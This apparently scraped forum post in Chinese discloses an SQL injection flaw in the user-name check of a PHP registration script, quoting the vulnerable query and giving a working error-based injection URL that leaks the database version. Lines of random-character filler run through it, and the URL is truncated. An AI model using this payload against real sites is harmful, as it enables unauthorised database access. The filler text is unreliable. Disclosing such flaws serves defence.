在注册的时候,输入用户名后台会验证用户名是否存在,当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。
* V' t% R' n% |) R o8 J
+ R: @, L" |6 O- r
/ M8 `1 K+ I2 i
" |5 x9 ^+ ?8 Y/ r w5 A* 验证会员数据 */ function check_user($field_name,$field_data) { //开始数据验证 $user_data[$field_name] = $field_data; $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据 if(trim($user_data['user_name'])==''&&$field_name=='user_name') { $field_item['field_name'] = 'user_name'; $field_item['error'] = EMPTY_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值,这里只是过滤了空格。所有存在SQL注入漏洞。 { $field_item['field_name'] = 'user_name'; $field_item['error'] = EXIST_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; }
# k# w& y9 f( \
* `: p( V+ h; N4 Z, c
- Y- l, E. B: @: g
! F* x) A: R7 J5 r- |1 a( P" _Exp:
? @. L1 H4 z1 V
2 `% ?" w- w2 i! ^8 p 9 z3 t/ c% _, F# g3 U5 u) h
+ D ~1 ]* M+ ?7 G2 Phttp://192.168.9.109/easethink_f ... ame&field_data=**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23
5 S9 e/ r! U) h; c% _: Y) `8 @, v8 t( P5 U! y- n1 t1 m1 Y
|